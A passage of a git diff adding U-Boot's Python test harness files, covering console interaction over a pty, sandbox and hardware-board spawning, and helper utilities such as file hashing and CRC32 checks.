+    order to test that the error condition is actually raised. This class is
+    used internally by ConsoleBase::disable_check(); it is not intended for
+    direct usage."""
+
+    def __init__(self, console, check_type):
+        self.console = console
+        self.check_type = check_type
+
+    def __enter__(self):
+        self.console.disable_check_count[self.check_type] += 1
+        self.console.eval_bad_patterns()
+
+    def __exit__(self, extype, value, traceback):
+        self.console.disable_check_count[self.check_type] -= 1
+        self.console.eval_bad_patterns()
+
+class ConsoleSetupTimeout(object):
+    """Context manager (for Python's with statement) that temporarily sets up
+    timeout for specific command. This is useful when execution time is greater
+    then default 30s."""
+
+    def __init__(self, console, timeout):
+        self.p = console.p
+        self.orig_timeout = self.p.timeout
+        self.p.timeout = timeout
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, extype, value, traceback):
+        self.p.timeout = self.orig_timeout
+
+class ConsoleBase(object):
+    """The interface through which test functions interact with the U-Boot
+    console. This primarily involves executing shell commands, capturing their
+    results, and checking for common error conditions. Some common utilities
+    are also provided too."""
+
+    def __init__(self, log, config, max_fifo_fill):
+        """Initialize a U-Boot console connection.
+
+        Can only usefully be called by sub-classes.
+
+        Args:
+            log: A mulptiplex_log.Logfile object, to which the U-Boot output
+                will be logged.
+            config: A configuration data structure, as built by conftest.py.
+            max_fifo_fill: The maximum number of characters to send to U-Boot
+                command-line before waiting for U-Boot to echo the characters
+                back. For UART-based HW without HW flow control, this value
+                should be set less than the UART RX FIFO size to avoid
+                overflow, assuming that U-Boot can't keep up with full-rate
+                traffic at the baud rate.
+
+        Returns:
+            Nothing.
+        """
+
+        self.log = log
+        self.config = config
+        self.max_fifo_fill = max_fifo_fill
+
+        self.logstream = self.log.get_stream('console', sys.stdout)
+
+        # Array slice removes leading/trailing quotes
+        self.prompt = self.config.buildconfig['config_sys_prompt'][1:-1]
+        self.prompt_compiled = re.compile('^' + re.escape(self.prompt), re.MULTILINE)
+        self.p = None
+        self.disable_check_count = {pat[PAT_ID]: 0 for pat in bad_pattern_defs}
+        self.eval_bad_patterns()
+
+        self.at_prompt = False
+        self.at_prompt_logevt = None
+
+    def eval_bad_patterns(self):
+        self.bad_patterns = [pat[PAT_RE] for pat in bad_pattern_defs \
+            if self.disable_check_count[pat[PAT_ID]] == 0]
+        self.bad_pattern_ids = [pat[PAT_ID] for pat in bad_pattern_defs \
+            if self.disable_check_count[pat[PAT_ID]] == 0]
+
+    def close(self):
+        """Terminate the connection to the U-Boot console.
+
+        This function is only useful once all interaction with U-Boot is
+        complete. Once this function is called, data cannot be sent to or
+        received from U-Boot.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        if self.p:
+            self.p.close()
+        self.logstream.close()
+
+    def run_command(self, cmd, wait_for_echo=True, send_nl=True,
+            wait_for_prompt=True):
+        """Execute a command via the U-Boot console.
+
+        The command is always sent to U-Boot.
+
+        U-Boot echoes any command back to its output, and this function
+        typically waits for that to occur. The wait can be disabled by setting
+        wait_for_echo=False, which is useful e.g. when sending CTRL-C to
+        interrupt a long-running command such as "ums".
+
+        Command execution is typically triggered by sending a newline
+        character. This can be disabled by setting send_nl=False, which is
+        also useful when sending CTRL-C.
+
+        This function typically waits for the command to finish executing, and
+        returns the console output that it generated. This can be disabled by
+        setting wait_for_prompt=False, which is useful when invoking a long-
+        running command such as "ums".
+
+        Args:
+            cmd: The command to send.
+            wait_for_echo: Boolean indicating whether to wait for U-Boot to
+                echo the command text back to its output.
+            send_nl: Boolean indicating whether to send a newline character
+                after the command string.
+            wait_for_prompt: Boolean indicating whether to wait for the
+                command prompt to be sent by U-Boot. This typically occurs
+                immediately after the command has been executed.
+
+        Returns:
+            If wait_for_prompt == False:
+                Nothing.
+            Else:
+                The output from U-Boot during command execution. In other
+                words, the text U-Boot emitted between the point it echod the
+                command string and emitted the subsequent command prompts.
+        """
+
+        if self.at_prompt and \
+                self.at_prompt_logevt != self.logstream.logfile.cur_evt:
+            self.logstream.write(self.prompt, implicit=True)
+
+        try:
+            self.at_prompt = False
+            if send_nl:
+                cmd += '\n'
+            while cmd:
+                # Limit max outstanding data, so UART FIFOs don't overflow
+                chunk = cmd[:self.max_fifo_fill]
+                cmd = cmd[self.max_fifo_fill:]
+                self.p.send(chunk)
+                if not wait_for_echo:
+                    continue
+                chunk = re.escape(chunk)
+                chunk = chunk.replace('\\\n', '[\r\n]')
+                m = self.p.expect([chunk] + self.bad_patterns)
+                if m != 0:
+                    self.at_prompt = False
+                    raise Exception('Bad pattern found on console: ' +
+                                    self.bad_pattern_ids[m - 1])
+            if not wait_for_prompt:
+                return
+            m = self.p.expect([self.prompt_compiled] + self.bad_patterns)
+            if m != 0:
+                self.at_prompt = False
+                raise Exception('Bad pattern found on console: ' +
+                                self.bad_pattern_ids[m - 1])
+            self.at_prompt = True
+            self.at_prompt_logevt = self.logstream.logfile.cur_evt
+            # Only strip \r\n; space/TAB might be significant if testing
+            # indentation.
+            return self.p.before.strip('\r\n')
+        except Exception as ex:
+            self.log.error(str(ex))
+            self.cleanup_spawn()
+            raise
+        finally:
+            self.log.timestamp()
+
+    def run_command_list(self, cmds):
+        """Run a list of commands.
+
+        This is a helper function to call run_command() with default arguments
+        for each command in a list.
+
+        Args:
+            cmd: List of commands (each a string).
+        Returns:
+            A list of output strings from each command, one element for each
+            command.
+        """
+        output = []
+        for cmd in cmds:
+            output.append(self.run_command(cmd))
+        return output
+
+    def ctrlc(self):
+        """Send a CTRL-C character to U-Boot.
+
+        This is useful in order to stop execution of long-running synchronous
+        commands such as "ums".
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        self.log.action('Sending Ctrl-C')
+        self.run_command(chr(3), wait_for_echo=False, send_nl=False)
+
+    def wait_for(self, text):
+        """Wait for a pattern to be emitted by U-Boot.
+
+        This is useful when a long-running command such as "dfu" is executing,
+        and it periodically emits some text that should show up at a specific
+        location in the log file.
+
+        Args:
+            text: The text to wait for; either a string (containing raw text,
+                not a regular expression) or an re object.
+
+        Returns:
+            Nothing.
+        """
+
+        if type(text) == type(''):
+            text = re.escape(text)
+        m = self.p.expect([text] + self.bad_patterns)
+        if m != 0:
+            raise Exception('Bad pattern found on console: ' +
+                            self.bad_pattern_ids[m - 1])
+
+    def drain_console(self):
+        """Read from and log the U-Boot console for a short time.
+
+        U-Boot's console output is only logged when the test code actively
+        waits for U-Boot to emit specific data. There are cases where tests
+        can fail without doing this. For example, if a test asks U-Boot to
+        enable USB device mode, then polls until a host-side device node
+        exists. In such a case, it is useful to log U-Boot's console output
+        in case U-Boot printed clues as to why the host-side even did not
+        occur. This function will do that.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        # If we are already not connected to U-Boot, there's nothing to drain.
+        # This should only happen when a previous call to run_command() or
+        # wait_for() failed (and hence the output has already been logged), or
+        # the system is shutting down.
+        if not self.p:
+            return
+
+        orig_timeout = self.p.timeout
+        try:
+            # Drain the log for a relatively short time.
+            self.p.timeout = 1000
+            # Wait for something U-Boot will likely never send. This will
+            # cause the console output to be read and logged.
+            self.p.expect(['This should never match U-Boot output'])
+        except:
+            # We expect a timeout, since U-Boot won't print what we waited
+            # for. Squash it when it happens.
+            #
+            # Squash any other exception too. This function is only used to
+            # drain (and log) the U-Boot console output after a failed test.
+            # The U-Boot process will be restarted, or target board reset, once
+            # this function returns. So, we don't care about detecting any
+            # additional errors, so they're squashed so that the rest of the
+            # post-test-failure cleanup code can continue operation, and
+            # correctly terminate any log sections, etc.
+            pass
+        finally:
+            self.p.timeout = orig_timeout
+
+    def ensure_spawned(self):
+        """Ensure a connection to a correctly running U-Boot instance.
+
+        This may require spawning a new Sandbox process or resetting target
+        hardware, as defined by the implementation sub-class.
+
+        This is an internal function and should not be called directly.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        if self.p:
+            return
+        try:
+            self.log.start_section('Starting U-Boot')
+            self.at_prompt = False
+            self.p = self.get_spawn()
+            # Real targets can take a long time to scroll large amounts of
+            # text if LCD is enabled. This value may need tweaking in the
+            # future, possibly per-test to be optimal. This works for 'help'
+            # on board 'seaboard'.
+            if not self.config.gdbserver:
+                self.p.timeout = 30000
+            self.p.logfile_read = self.logstream
+            bcfg = self.config.buildconfig
+            config_spl = bcfg.get('config_spl', 'n') == 'y'
+            config_spl_serial_support = bcfg.get('config_spl_serial_support',
+                                                 'n') == 'y'
+            env_spl_skipped = self.config.env.get('env__spl_skipped',
+                                                  False)
+            env_spl2_skipped = self.config.env.get('env__spl2_skipped',
+                                                  True)
+            if config_spl and config_spl_serial_support and not env_spl_skipped:
+                m = self.p.expect([pattern_u_boot_spl_signon] +
+                                  self.bad_patterns)
+                if m != 0:
+                    raise Exception('Bad pattern found on SPL console: ' +
+                                    self.bad_pattern_ids[m - 1])
+            if not env_spl2_skipped:
+                m = self.p.expect([pattern_u_boot_spl2_signon] +
+                                  self.bad_patterns)
+                if m != 0:
+                    raise Exception('Bad pattern found on SPL2 console: ' +
+                                    self.bad_pattern_ids[m - 1])
+            m = self.p.expect([pattern_u_boot_main_signon] + self.bad_patterns)
+            if m != 0:
+                raise Exception('Bad pattern found on console: ' +
+                                self.bad_pattern_ids[m - 1])
+            self.u_boot_version_string = self.p.after
+            while True:
+                m = self.p.expect([self.prompt_compiled,
+                    pattern_stop_autoboot_prompt] + self.bad_patterns)
+                if m == 0:
+                    break
+                if m == 1:
+                    self.p.send(' ')
+                    continue
+                raise Exception('Bad pattern found on console: ' +
+                                self.bad_pattern_ids[m - 2])
+            self.at_prompt = True
+            self.at_prompt_logevt = self.logstream.logfile.cur_evt
+        except Exception as ex:
+            self.log.error(str(ex))
+            self.cleanup_spawn()
+            raise
+        finally:
+            self.log.timestamp()
+            self.log.end_section('Starting U-Boot')
+
+    def cleanup_spawn(self):
+        """Shut down all interaction with the U-Boot instance.
+
+        This is used when an error is detected prior to re-establishing a
+        connection with a fresh U-Boot instance.
+
+        This is an internal function and should not be called directly.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        try:
+            if self.p:
+                self.p.close()
+        except:
+            pass
+        self.p = None
+
+    def restart_uboot(self):
+        """Shut down and restart U-Boot."""
+        self.cleanup_spawn()
+        self.ensure_spawned()
+
+    def get_spawn_output(self):
+        """Return the start-up output from U-Boot
+
+        Returns:
+            The output produced by ensure_spawed(), as a string.
+        """
+        if self.p:
+            return self.p.get_expect_output()
+        return None
+
+    def validate_version_string_in_text(self, text):
+        """Assert that a command's output includes the U-Boot signon message.
+
+        This is primarily useful for validating the "version" command without
+        duplicating the signon text regex in a test function.
+
+        Args:
+            text: The command output text to check.
+
+        Returns:
+            Nothing. An exception is raised if the validation fails.
+        """
+
+        assert(self.u_boot_version_string in text)
+
+    def disable_check(self, check_type):
+        """Temporarily disable an error check of U-Boot's output.
+
+        Create a new context manager (for use with the "with" statement) which
+        temporarily disables a particular console output error check.
+
+        Args:
+            check_type: The type of error-check to disable. Valid values may
+            be found in self.disable_check_count above.
+
+        Returns:
+            A context manager object.
+        """
+
+        return ConsoleDisableCheck(self, check_type)
+
+    def temporary_timeout(self, timeout):
+        """Temporarily set up different timeout for commands.
+
+        Create a new context manager (for use with the "with" statement) which
+        temporarily change timeout.
+
+        Args:
+            timeout: Time in milliseconds.
+
+        Returns:
+            A context manager object.
+        """
+
+        return ConsoleSetupTimeout(self, timeout)
diff --git a/roms/u-boot/test/py/u_boot_console_exec_attach.py b/roms/u-boot/test/py/u_boot_console_exec_attach.py
new file mode 100644
index 000000000..27834b55c
--- /dev/null
+++ b/roms/u-boot/test/py/u_boot_console_exec_attach.py
@@ -0,0 +1,70 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Logic to interact with U-Boot running on real hardware, typically via a
+# physical serial port.
+
+import sys
+from u_boot_spawn import Spawn
+from u_boot_console_base import ConsoleBase
+
+class ConsoleExecAttach(ConsoleBase):
+    """Represents a physical connection to a U-Boot console, typically via a
+    serial port. This implementation executes a sub-process to attach to the
+    console, expecting that the stdin/out of the sub-process will be forwarded
+    to/from the physical hardware. This approach isolates the test infra-
+    structure from the user-/installation-specific details of how to
+    communicate with, and the identity of, serial ports etc."""
+
+    def __init__(self, log, config):
+        """Initialize a U-Boot console connection.
+
+        Args:
+            log: A multiplexed_log.Logfile instance.
+            config: A "configuration" object as defined in conftest.py.
+
+        Returns:
+            Nothing.
+        """
+
+        # The max_fifo_fill value might need tweaking per-board/-SoC?
+        # 1 would be safe anywhere, but is very slow (a pexpect issue?).
+        # 16 is a common FIFO size.
+        # HW flow control would mean this could be infinite.
+        super(ConsoleExecAttach, self).__init__(log, config, max_fifo_fill=16)
+
+        with self.log.section('flash'):
+            self.log.action('Flashing U-Boot')
+            cmd = ['u-boot-test-flash', config.board_type, config.board_identity]
+            runner = self.log.get_runner(cmd[0], sys.stdout)
+            runner.run(cmd)
+            runner.close()
+            self.log.status_pass('OK')
+
+    def get_spawn(self):
+        """Connect to a fresh U-Boot instance.
+
+        The target board is reset, so that U-Boot begins running from scratch.
+
+        Args:
+            None.
+
+        Returns:
+            A u_boot_spawn.Spawn object that is attached to U-Boot.
+        """
+
+        args = [self.config.board_type, self.config.board_identity]
+        s = Spawn(['u-boot-test-console'] + args)
+
+        try:
+            self.log.action('Resetting board')
+            cmd = ['u-boot-test-reset'] + args
+            runner = self.log.get_runner(cmd[0], sys.stdout)
+            runner.run(cmd)
+            runner.close()
+        except:
+            s.close()
+            raise
+
+        return s
diff --git a/roms/u-boot/test/py/u_boot_console_sandbox.py b/roms/u-boot/test/py/u_boot_console_sandbox.py
new file mode 100644
index 000000000..836f5a9e2
--- /dev/null
+++ b/roms/u-boot/test/py/u_boot_console_sandbox.py
@@ -0,0 +1,108 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Logic to interact with the sandbox port of U-Boot, running as a sub-process.
+
+import time
+from u_boot_spawn import Spawn
+from u_boot_console_base import ConsoleBase
+
+class ConsoleSandbox(ConsoleBase):
+    """Represents a connection to a sandbox U-Boot console, executed as a sub-
+    process."""
+
+    def __init__(self, log, config):
+        """Initialize a U-Boot console connection.
+
+        Args:
+            log: A multiplexed_log.Logfile instance.
+            config: A "configuration" object as defined in conftest.py.
+
+        Returns:
+            Nothing.
+        """
+
+        super(ConsoleSandbox, self).__init__(log, config, max_fifo_fill=1024)
+        self.sandbox_flags = []
+
+    def get_spawn(self):
+        """Connect to a fresh U-Boot instance.
+
+        A new sandbox process is created, so that U-Boot begins running from
+        scratch.
+
+        Args:
+            None.
+
+        Returns:
+            A u_boot_spawn.Spawn object that is attached to U-Boot.
+        """
+
+        bcfg = self.config.buildconfig
+        config_spl = bcfg.get('config_spl', 'n') == 'y'
+        fname = '/spl/u-boot-spl' if config_spl else '/u-boot'
+        print(fname)
+        cmd = []
+        if self.config.gdbserver:
+            cmd += ['gdbserver', self.config.gdbserver]
+        cmd += [
+            self.config.build_dir + fname,
+            '-v',
+            '-d',
+            self.config.dtb
+        ]
+        cmd += self.sandbox_flags
+        return Spawn(cmd, cwd=self.config.source_dir)
+
+    def restart_uboot_with_flags(self, flags):
+        """Run U-Boot with the given command-line flags
+
+        Args:
+            flags: List of flags to pass, each a string
+
+        Returns:
+            A u_boot_spawn.Spawn object that is attached to U-Boot.
+        """
+
+        try:
+            self.sandbox_flags = flags
+            return self.restart_uboot()
+        finally:
+            self.sandbox_flags = []
+
+    def kill(self, sig):
+        """Send a specific Unix signal to the sandbox process.
+
+        Args:
+            sig: The Unix signal to send to the process.
+
+        Returns:
+            Nothing.
+        """
+
+        self.log.action('kill %d' % sig)
+        self.p.kill(sig)
+
+    def validate_exited(self):
+        """Determine whether the sandbox process has exited.
+
+        If required, this function waits a reasonable time for the process to
+        exit.
+
+        Args:
+            None.
+
+        Returns:
+            Boolean indicating whether the process has exited.
+        """
+
+        p = self.p
+        self.p = None
+        for i in range(100):
+            ret = not p.isalive()
+            if ret:
+                break
+            time.sleep(0.1)
+        p.close()
+        return ret
diff --git a/roms/u-boot/test/py/u_boot_spawn.py b/roms/u-boot/test/py/u_boot_spawn.py
new file mode 100644
index 000000000..6991b78cc
--- /dev/null
+++ b/roms/u-boot/test/py/u_boot_spawn.py
@@ -0,0 +1,209 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Logic to spawn a sub-process and interact with its stdio.
+
+import os
+import re
+import pty
+import signal
+import select
+import time
+
+class Timeout(Exception):
+    """An exception sub-class that indicates that a timeout occurred."""
+    pass
+
+class Spawn(object):
+    """Represents the stdio of a freshly created sub-process. Commands may be
+    sent to the process, and responses waited for.
+
+    Members:
+        output: accumulated output from expect()
+    """
+
+    def __init__(self, args, cwd=None):
+        """Spawn (fork/exec) the sub-process.
+
+        Args:
+            args: array of processs arguments. argv[0] is the command to
+              execute.
+            cwd: the directory to run the process in, or None for no change.
+
+        Returns:
+            Nothing.
+        """
+
+        self.waited = False
+        self.buf = ''
+        self.output = ''
+        self.logfile_read = None
+        self.before = ''
+        self.after = ''
+        self.timeout = None
+        # http://stackoverflow.com/questions/7857352/python-regex-to-match-vt100-escape-sequences
+        self.re_vt100 = re.compile(r'(\x1b\[|\x9b)[^@-_]*[@-_]|\x1b[@-_]', re.I)
+
+        (self.pid, self.fd) = pty.fork()
+        if self.pid == 0:
+            try:
+                # For some reason, SIGHUP is set to SIG_IGN at this point when
+                # run under "go" (www.go.cd). Perhaps this happens under any
+                # background (non-interactive) system?
+                signal.signal(signal.SIGHUP, signal.SIG_DFL)
+                if cwd:
+                    os.chdir(cwd)
+                os.execvp(args[0], args)
+            except:
+                print('CHILD EXECEPTION:')
+                import traceback
+                traceback.print_exc()
+            finally:
+                os._exit(255)
+
+        try:
+            self.poll = select.poll()
+            self.poll.register(self.fd, select.POLLIN | select.POLLPRI | select.POLLERR | select.POLLHUP | select.POLLNVAL)
+        except:
+            self.close()
+            raise
+
+    def kill(self, sig):
+        """Send unix signal "sig" to the child process.
+
+        Args:
+            sig: The signal number to send.
+
+        Returns:
+            Nothing.
+        """
+
+        os.kill(self.pid, sig)
+
+    def isalive(self):
+        """Determine whether the child process is still running.
+
+        Args:
+            None.
+
+        Returns:
+            Boolean indicating whether process is alive.
+        """
+
+        if self.waited:
+            return False
+
+        w = os.waitpid(self.pid, os.WNOHANG)
+        if w[0] == 0:
+            return True
+
+        self.waited = True
+        return False
+
+    def send(self, data):
+        """Send data to the sub-process's stdin.
+
+        Args:
+            data: The data to send to the process.
+
+        Returns:
+            Nothing.
+        """
+
+        os.write(self.fd, data.encode(errors='replace'))
+
+    def expect(self, patterns):
+        """Wait for the sub-process to emit specific data.
+
+        This function waits for the process to emit one pattern from the
+        supplied list of patterns, or for a timeout to occur.
+
+        Args:
+            patterns: A list of strings or regex objects that we expect to
+                see in the sub-process' stdout.
+
+        Returns:
+            The index within the patterns array of the pattern the process
+            emitted.
+
+        Notable exceptions:
+            Timeout, if the process did not emit any of the patterns within
+            the expected time.
+        """
+
+        for pi in range(len(patterns)):
+            if type(patterns[pi]) == type(''):
+                patterns[pi] = re.compile(patterns[pi])
+
+        tstart_s = time.time()
+        try:
+            while True:
+                earliest_m = None
+                earliest_pi = None
+                for pi in range(len(patterns)):
+                    pattern = patterns[pi]
+                    m = pattern.search(self.buf)
+                    if not m:
+                        continue
+                    if earliest_m and m.start() >= earliest_m.start():
+                        continue
+                    earliest_m = m
+                    earliest_pi = pi
+                if earliest_m:
+                    pos = earliest_m.start()
+                    posafter = earliest_m.end()
+                    self.before = self.buf[:pos]
+                    self.after = self.buf[pos:posafter]
+                    self.output += self.buf[:posafter]
+                    self.buf = self.buf[posafter:]
+                    return earliest_pi
+                tnow_s = time.time()
+                if self.timeout:
+                    tdelta_ms = (tnow_s - tstart_s) * 1000
+                    poll_maxwait = self.timeout - tdelta_ms
+                    if tdelta_ms > self.timeout:
+                        raise Timeout()
+                else:
+                    poll_maxwait = None
+                events = self.poll.poll(poll_maxwait)
+                if not events:
+                    raise Timeout()
+                c = os.read(self.fd, 1024).decode(errors='replace')
+                if not c:
+                    raise EOFError()
+                if self.logfile_read:
+                    self.logfile_read.write(c)
+                self.buf += c
+                # count=0 is supposed to be the default, which indicates
+                # unlimited substitutions, but in practice the version of
+                # Python in Ubuntu 14.04 appears to default to count=2!
+                self.buf = self.re_vt100.sub('', self.buf, count=1000000)
+        finally:
+            if self.logfile_read:
+                self.logfile_read.flush()
+
+    def close(self):
+        """Close the stdio connection to the sub-process.
+
+        This also waits a reasonable time for the sub-process to stop running.
+
+        Args:
+            None.
+
+        Returns:
+            Nothing.
+        """
+
+        os.close(self.fd)
+        for i in range(100):
+            if not self.isalive():
+                break
+            time.sleep(0.1)
+
+    def get_expect_output(self):
+        """Return the output read by expect()
+
+        Returns:
+            The output processed by expect(), as a string.
+        """
+        return self.output
diff --git a/roms/u-boot/test/py/u_boot_utils.py b/roms/u-boot/test/py/u_boot_utils.py
new file mode 100644
index 000000000..939d82eec
--- /dev/null
+++ b/roms/u-boot/test/py/u_boot_utils.py
@@ -0,0 +1,341 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+# Utility code shared across multiple tests.
+
+import hashlib
+import inspect
+import os
+import os.path
+import pytest
+import sys
+import time
+import re
+
+def md5sum_data(data):
+    """Calculate the MD5 hash of some data.
+
+    Args:
+        data: The data to hash.
+
+    Returns:
+        The hash of the data, as a binary string.
+    """
+
+    h = hashlib.md5()
+    h.update(data)
+    return h.digest()
+
+def md5sum_file(fn, max_length=None):
+    """Calculate the MD5 hash of the contents of a file.
+
+    Args:
+        fn: The filename of the file to hash.
+        max_length: The number of bytes to hash. If the file has more
+            bytes than this, they will be ignored. If None or omitted, the
+            entire file will be hashed.
+
+    Returns:
+        The hash of the file content, as a binary string.
+    """
+
+    with open(fn, 'rb') as fh:
+        if max_length:
+            params = [max_length]
+        else:
+            params = []
+        data = fh.read(*params)
+    return md5sum_data(data)
+
+class PersistentRandomFile(object):
+    """Generate and store information about a persistent file containing
+    random data."""
+
+    def __init__(self, u_boot_console, fn, size):
+        """Create or process the persistent file.
+
+        If the file does not exist, it is generated.
+
+        If the file does exist, its content is hashed for later comparison.
+
+        These files are always located in the "persistent data directory" of
+        the current test run.
+
+        Args:
+            u_boot_console: A console connection to U-Boot.
+            fn: The filename (without path) to create.
+            size: The desired size of the file in bytes.
+
+        Returns:
+            Nothing.
+        """
+
+        self.fn = fn
+
+        self.abs_fn = u_boot_console.config.persistent_data_dir + '/' + fn
+
+        if os.path.exists(self.abs_fn):
+            u_boot_console.log.action('Persistent data file ' + self.abs_fn +
+                ' already exists')
+            self.content_hash = md5sum_file(self.abs_fn)
+        else:
+            u_boot_console.log.action('Generating ' + self.abs_fn +
+                ' (random, persistent, %d bytes)' % size)
+            data = os.urandom(size)
+            with open(self.abs_fn, 'wb') as fh:
+                fh.write(data)
+            self.content_hash = md5sum_data(data)
+
+def attempt_to_open_file(fn):
+    """Attempt to open a file, without throwing exceptions.
+
+    Any errors (exceptions) that occur during the attempt to open the file
+    are ignored. This is useful in order to test whether a file (in
+    particular, a device node) exists and can be successfully opened, in order
+    to poll for e.g. USB enumeration completion.
+
+    Args:
+        fn: The filename to attempt to open.
+
+    Returns:
+        An open file handle to the file, or None if the file could not be
+            opened.
+    """
+
+    try:
+        return open(fn, 'rb')
+    except:
+        return None
+
+def wait_until_open_succeeds(fn):
+    """Poll until a file can be opened, or a timeout occurs.
+
+    Continually attempt to open a file, and return when this succeeds, or
+    raise an exception after a timeout.
+
+    Args:
+        fn: The filename to attempt to open.
+
+    Returns:
+        An open file handle to the file.
+    """
+
+    for i in range(100):
+        fh = attempt_to_open_file(fn)
+        if fh:
+            return fh
+        time.sleep(0.1)
+    raise Exception('File could not be opened')
+
+def wait_until_file_open_fails(fn, ignore_errors):
+    """Poll until a file cannot be opened, or a timeout occurs.
+
+    Continually attempt to open a file, and return when this fails, or
+    raise an exception after a timeout.
+
+    Args:
+        fn: The filename to attempt to open.
+        ignore_errors: Indicate whether to ignore timeout errors. If True, the
+            function will simply return if a timeout occurs, otherwise an
+            exception will be raised.
+
+    Returns:
+        Nothing.
+    """
+
+    for i in range(100):
+        fh = attempt_to_open_file(fn)
+        if not fh:
+            return
+        fh.close()
+        time.sleep(0.1)
+    if ignore_errors:
+        return
+    raise Exception('File can still be opened')
+
+def run_and_log(u_boot_console, cmd, ignore_errors=False):
+    """Run a command and log its output.
+
+    Args:
+        u_boot_console: A console connection to U-Boot.
+        cmd: The command to run, as an array of argv[], or a string.
+            If a string, note that it is split up so that quoted spaces
+            will not be preserved. E.g. "fred and" becomes ['"fred', 'and"']
+        ignore_errors: Indicate whether to ignore errors. If True, the function
+            will simply return if the command cannot be executed or exits with
+            an error code, otherwise an exception will be raised if such
+            problems occur.
+
+    Returns:
+        The output as a string.
+    """
+    if isinstance(cmd, str):
+        cmd = cmd.split()
+    runner = u_boot_console.log.get_runner(cmd[0], sys.stdout)
+    output = runner.run(cmd, ignore_errors=ignore_errors)
+    runner.close()
+    return output
+
+def run_and_log_expect_exception(u_boot_console, cmd, retcode, msg):
+    """Run a command that is expected to fail.
+
+    This runs a command and checks that it fails with the expected return code
+    and exception method. If not, an exception is raised.
+
+    Args:
+        u_boot_console: A console connection to U-Boot.
+        cmd: The command to run, as an array of argv[].
+        retcode: Expected non-zero return code from the command.
+        msg: String that should be contained within the command's output.
+    """
+    try:
+        runner = u_boot_console.log.get_runner(cmd[0], sys.stdout)
+        runner.run(cmd)
+    except Exception as e:
+        assert(retcode == runner.exit_status)
+        assert(msg in runner.output)
+    else:
+        raise Exception("Expected an exception with retcode %d message '%s',"
+                        "but it was not raised" % (retcode, msg))
+    finally:
+        runner.close()
+
+ram_base = None
+def find_ram_base(u_boot_console):
+    """Find the running U-Boot's RAM location.
+
+    Probe the running U-Boot to determine the address of the first bank
+    of RAM. This is useful for tests that test reading/writing RAM, or
+    load/save files that aren't associated with some standard address
+    typically represented in an environment variable such as
+    ${kernel_addr_r}. The value is cached so that it only needs to be
+    actively read once.
+
+    Args:
+        u_boot_console: A console connection to U-Boot.
+
+    Returns:
+        The address of U-Boot's first RAM bank, as an integer.
+    """
+
+    global ram_base
+    if u_boot_console.config.buildconfig.get('config_cmd_bdi', 'n') != 'y':
+        pytest.skip('bdinfo command not supported')
+    if ram_base == -1:
+        pytest.skip('Previously failed to find RAM bank start')
+    if ram_base is not None:
+        return ram_base
+
+    with u_boot_console.log.section('find_ram_base'):
+        response = u_boot_console.run_command('bdinfo')
+        for l in response.split('\n'):
+            if '-> start' in l or 'memstart    =' in l:
+                ram_base = int(l.split('=')[1].strip(), 16)
+                break
+        if ram_base is None:
+            ram_base = -1
+            raise Exception('Failed to find RAM bank start in `bdinfo`')
+
+    # We don't want ram_base to be zero as some functions test if the given
+    # address is NULL (0). Besides, on some RISC-V targets the low memory
+    # is protected that prevents S-mode U-Boot from access.
+    # Let's add 2MiB then (size of an ARM LPAE/v8 section).
+
+    ram_base += 1024 * 1024 * 2
+
+    return ram_base
+
+class PersistentFileHelperCtxMgr(object):
+    """A context manager for Python's "with" statement, which ensures that any
+    generated file is deleted (and hence regenerated) if its mtime is older
+    than the mtime of the Python module which generated it, and gets an mtime
+    newer than the mtime of the Python module which generated after it is
+    generated. Objects of this type should be created by factory function
+    persistent_file_helper rather than directly."""
+
+    def __init__(self, log, filename):
+        """Initialize a new object.
+
+        Args:
+            log: The Logfile object to log to.
+            filename: The filename of the generated file.
+
+        Returns:
+            Nothing.
+        """
+
+        self.log = log
+        self.filename = filename
+
+    def __enter__(self):
+        frame = inspect.stack()[1]
+        module = inspect.getmodule(frame[0])
+        self.module_filename = module.__file__
+        self.module_timestamp = os.path.getmtime(self.module_filename)
+
+        if os.path.exists(self.filename):
+            filename_timestamp = os.path.getmtime(self.filename)
+            if filename_timestamp < self.module_timestamp:
+                self.log.action('Removing stale generated file ' +
+                    self.filename)
+                os.unlink(self.filename)
+
+    def __exit__(self, extype, value, traceback):
+        if extype:
+            try:
+                os.path.unlink(self.filename)
+            except:
+                pass
+            return
+        logged = False
+        for i in range(20):
+            filename_timestamp = os.path.getmtime(self.filename)
+            if filename_timestamp > self.module_timestamp:
+                break
+            if not logged:
+                self.log.action(
+                    'Waiting for generated file timestamp to increase')
+                logged = True
+            os.utime(self.filename)
+            time.sleep(0.1)
+
+def persistent_file_helper(u_boot_log, filename):
+    """Manage the timestamps and regeneration of a persistent generated
+    file. This function creates a context manager for Python's "with"
+    statement
+
+    Usage:
+        with persistent_file_helper(u_boot_console.log, filename):
+            code to generate the file, if it's missing.
+
+    Args:
+        u_boot_log: u_boot_console.log.
+        filename: The filename of the generated file.
+
+    Returns:
+        A context manager object.
+    """
+
+    return PersistentFileHelperCtxMgr(u_boot_log, filename)
+
+def crc32(u_boot_console, address, count):
+    """Helper function used to compute the CRC32 value of a section of RAM.
+
+    Args:
+        u_boot_console: A U-Boot console connection.
+        address: Address where data starts.
+        count: Amount of data to use for calculation.
+
+    Returns:
+        CRC32 value
+    """
+
+    bcfg = u_boot_console.config.buildconfig
+    has_cmd_crc32 = bcfg.get('config_cmd_crc32', 'n') == 'y'
+    assert has_cmd_crc32, 'Cannot compute crc32 without CONFIG_CMD_CRC32.'
+    output = u_boot_console.run_command('crc32 %08x %x' % (address, count))
+
+    m = re.search('==> ([0-9a-fA-F]{8})$', output)
+    assert m, 'CRC32 operation failed.'
+
+    return m.group(1)
-- 
cgit